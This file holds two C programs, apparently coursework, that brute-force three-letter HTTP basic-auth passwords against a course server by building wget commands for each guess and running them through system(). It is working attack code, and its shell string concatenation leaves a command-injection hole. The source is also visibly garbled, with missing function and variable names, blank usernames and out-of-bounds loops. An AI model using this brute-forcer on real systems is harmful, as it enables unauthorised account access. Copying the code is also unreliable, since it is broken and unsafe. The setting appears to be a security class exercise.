

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100],c[100],c1[100],c2[100],m[50];
char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

int i,j,k,count=0;
int  total_time,start_time,end_time;
start_time = time();


for(i=0;i<52;i++)
{
	
	m[0]=b[i];
	m[1]='\0';
	strcpy(c,m);
	printf("%s \n",c);
	for(j=0;j<52;j++)
	{
	m[0]=b[j];
	m[1]='\0';
	strcpy(c1,c);
	strcat(c1,m);
	printf("%s \n",c1);
	for(k=0;k<52;k++)
	{
		count++;
		printf("ATTEMPT :%d\n",count);
		
		m[0]=b[k];
		m[1]='\0';
		strcpy(c2,c1);
		strcat(c2,m);

strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");

		strcat(a,c2);		
		if(system(a)==0)
		{
		printf("Congratulations!!!!BruteForce Attack Successful\n");
		printf("***********************************************\n");
		printf("The Password is %s\n",c2);
		printf("The Request sent is %s\n",a); 
                end_time = time();
                total_time = (end_time -start_time);
                total_time /= 1000000000.0;
                printf("The Time Taken is : %llds\n",total_time);
		exit(1);
		}
		
		
		
		
	}

}
}
return 0;
}

#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9


int ()
{   int startTime, stopTime, final;
    int i,j,k;
    int pass,count=0;
    char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};
    char [4];
    char url1[100];
    char url2[100];

    startTime = time();
   for (i=0;i<=52;i++)
   {

     for (j=0;j<=52;j++)
       {

	for(k=0;k<=52;k++)

	  { 
	     count++;
             [0] = arr[i];
	     [1] = arr[j];
	     [2] = arr[k];
	     [3] = '\0';


	     printf("Checking for the word :%s\n",);
	     strcpy(url1 ,"wget --http-user= --http-passwd=");
	     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
	     strcat(url1,);
	     strcat(url1,url2);


	     pass = system(url1);
	     if (pass == 0)
	     {   
                printf("Success\n");
		printf("Number of attempts = %d\n",count);
	        stopTime = time();

                final = stopTime-startTime;
		printf("The password for the user  : %s\n",); 
                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
	        
		exit(1);}


	      }
        }

   }
 }


